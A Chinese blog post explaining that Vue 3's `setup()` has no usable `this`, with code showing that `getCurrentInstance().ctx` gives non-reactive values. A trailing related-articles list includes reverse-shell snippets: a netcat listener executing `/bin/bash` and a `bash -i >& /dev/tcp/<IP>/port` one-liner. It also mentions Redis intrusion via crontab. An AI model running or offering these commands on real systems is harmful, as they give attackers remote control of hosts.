vue3还用this吗?getCurrentInstance获取当前组件实例

在 Vue 2 中,this 关键字代表当前组件实例。在组件的选项对象中,this 可以用于访问组件实例的属性、方法以及 Vue 实例的一些特定方法。

在Vue3中,我们发现this是undefined,那我们真的没法使用this了吗?vu3给我们提供了一个getCurrentInstance函数: 用于获取当前组件实例。身上有个ctx属性有点类似this,通过代码可以看到如何使用。

建议:vue3中已经不想让大家使用this了,直接通过变量名取值也是很方便的,

当然有喜欢用this的也可以使用这种方式,不过目前看来取到的值是只读的。

<template><div style="font-size: 14px"><div>{{myName1}}</div><div>{{myName2}}</div><div>{{myName3}}</div></div>
</template><script lang="ts">
// vue3.0版本语法
import { defineComponent, getCurrentInstance, ref } from "vue";export default defineComponent({name: "组件名",setup() {// console.log(this);// undefined// getCurrentInstance()获取当前组件实例, ctx是 vue3给我们提供的变量名// const { ctx } = getCurrentInstance()console.log('实例getCurrentInstance:',getCurrentInstance());// 我们利用改变对象名字的写法将改成_thisconst { ctx: _this } = getCurrentInstance()// 首先看看_this是什么console.log('ctx: _this:',_this);const myName1 = ref('测试_this1')const myName2 = ref('测试_this2')const myName3 = ref('测试myName3')// 还是要通过xxx.value改变值改变动态数据》才能动态更新const changeFun = () => {// vue3中已经不想让大家使用this了,直接通过变量名取值也是很方便的,// 当然有喜欢用this的也可以使用这种方式,不过目前看来取到的值是只读的。myName3.value = '改变后的myName3:'+ _this.myName1 + _this.myName2};// 3秒后 想通过_this改变组件内的变量值setTimeout(() => {// _this身上的 myName1 和 myName2 并不是一个ref对象 ,直接改变值也不会动态更新_this.myName1 += '+=使用_this'_this.myName2 += '+=使用_this'console.log(_this.myName1, _this.myName2);// 调用函数改变myName3的值changeFun()}, 3000)return {myName1,myName2,myName3,changeFun};},
});
</script>

初始页面:

看下getCurrentInstance身上有哪些属性:

看下ctx (_this)身上有哪些属性:

可以看到setup return 出来的myName1,myName2,myName3,changeFun 都能取到,

但是注意myName1,myName2,myName3并不是ref对象。所以直接写

_this.myName1 += '+=使用_this'

并不能动态改变值。

3秒后的页面及数据更新:

可以看到myName3.value的形式动态改变了值,而

_this.myName1 += '+=使用_this'

_this.myName2 += '+=使用_this'

console.log(_this.myName1, _this.myName2);

的打印结果并没有改变值。

欢迎关注我的原创文章:小伙伴们!我是一名热衷于前端开发的作者,致力于分享我的知识和经验,帮助其他学习前端的小伙伴们。在我的文章中,你将会找到大量关于前端开发的精彩内容。

学习前端技术是现代互联网时代中非常重要的一项技能。无论你是想成为一名专业的前端工程师,还是仅仅对前端开发感兴趣,我的文章将能为你提供宝贵的指导和知识。

在我的文章中,你将会学到如何使用HTML、CSS和JavaScript创建精美的网页。我将深入讲解每个语言的基础知识,并提供一些实用技巧和最佳实践。无论你是初学者还是有一定经验的开发者,我的文章都能够满足你的学习需求。

此外,我还会分享一些关于前端开发的最新动态和行业趋势。互联网技术在不断发展,新的框架和工具层出不穷。通过我的文章,你将会了解到最新的前端技术趋势,并了解如何应对这些变化。

我深知学习前端不易,因此我将尽力以简洁明了的方式解释复杂的概念,并提供一些易于理解的实例和案例。我希望我的文章能够帮助你更快地理解前端开发,并提升你的技能。

如果你想了解更多关于前端开发的内容,不妨关注我的原创文章。我会不定期更新,为你带来最新的前端技术和知识。感谢你的关注和支持,我们一起探讨交流技术共同进步,期待与你一同探索前端开发的奇妙世界!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/225964.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

同心合“利”,“盈”享未来!2023中海达合作伙伴交流会圆满召开

北方大雪纷飞时&#xff0c;广州却仍是艳阳高照。正如广州持续的高温一样&#xff0c;全国各地合作伙伴用自己的热情与活力全力支持和陪伴着中海达。为感谢合作伙伴同心合力&#xff0c;一路同行&#xff0c;11月27日&#xff0c;“同心合‘利’&#xff0c;‘盈’享未来”2023…

怎么判断香港服务器的性能好不好?

随着互联网的不断发展&#xff0c;越来越多的人开始使用香港服务器来搭建自己的网站或者应用。但是&#xff0c;对于初次使用香港服务器的用户来说&#xff0c;往往会遇到一个问题&#xff1a;怎么判断香港服务器的性能好不好? 首先我们需要了解香港服务器的性能主要取决于哪些…

云计算——ACA学习 阿里云云计算服务概述

作者简介&#xff1a;一名云计算网络运维人员、每天分享网络与运维的技术与干货。 公众号&#xff1a;网络豆云计算学堂 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a; 网络豆的主页​​​​​ 目录 写在前面 前期回顾 本期介绍 前言了解 一…

InnoSetupCompiler打包程序

修改默认的安装路径 因为程序可能需要在安装路径中写日志,默认的安装路径C:\Program Files (x86),这个路径好像是受保护还是啥,如果使用默认的打开会报错。 修改方法: DefaultDirName={autopf}\{#MyAppName} {autopf}改成想要修改的目录路径 利用URL Scheme打…

kali部署ARL灯塔资产系统及使用教程

网上有很多ARL部署到centos系统的教程,但是部署到ubuntu或kali linux系统的教程都是乱七八糟,互相抄,而且没有一个能部署成功,鉴于此,写下此教程,帮助大家出坑 一、安装docker环境(网上什么弄钥匙呀,什么稳定源啊都是垃圾) 准备一个纯净的最新的kali linux系统 1、配…

入侵redis之准备---Linux关于定时任务crontab相关知识了解配合理解shell反弹远程控制

入侵redis之准备—Linux关于定时任务crontab相关知识了解配合理解shell反弹远程控制 几点需要知道的信息 【1】crontab一般来说服务器都是有的&#xff0c;依赖crond服务&#xff0c;这个服务也是必须安装的服务&#xff0c;并且也是开机自启动的服务&#xff0c;也就是说&…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

TDA4VM MCUSW

文章目录 1. 原文概述2. 如何配置MCUSW?2.1 向TI申请EB安装包2.2 安装EB配置工具3. MCAL支持的外设注意:本篇主要参考的文档在这里哈:ti-processor-sdk-rtos-j721e-evm-09_00_01_01/mcusw/mcal_drv/docs/drv_docs/mcusw_c_ug_top.html 1. 原文概述 J721E/J7200/J721S2/J78…

贪吃蛇小游戏基本简单布局

代码&#xff1a; <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>Layui贪吃蛇小游戏</title> <link rel"stylesheet" href"https://cdn.bootcdn.net/ajax/libs/layui/2.5.7/css/layui.…

【攻防世界-misc】reverseMe

1.下载后&#xff0c;得到这样一张图片 2.利用在线翻转网站获取值&#xff0c;在线旋转图片工具|在线翻转照片|调整照片方向|生成镜像图片 - 改图宝 反转后的图片&#xff0c;将值提取并上传。

Go字符串类型

一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号&#xff08;"&#xff09;中的内容&#xff0c;可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…

二元函数图像3d绘制(Python)

1.简单的二元函数 举例&#xff1a;,等等较易实现&#xff0c;用一个函数&#xff0c;并直接返回表达式即可。 def func(x, y):return x*y*(xy)/2 再分别定义x,y的范围与步长&#xff0c;并设置角度、颜色坐标即可。以函数 为例&#xff0c;以下是实现代码&#xff0c;可供参…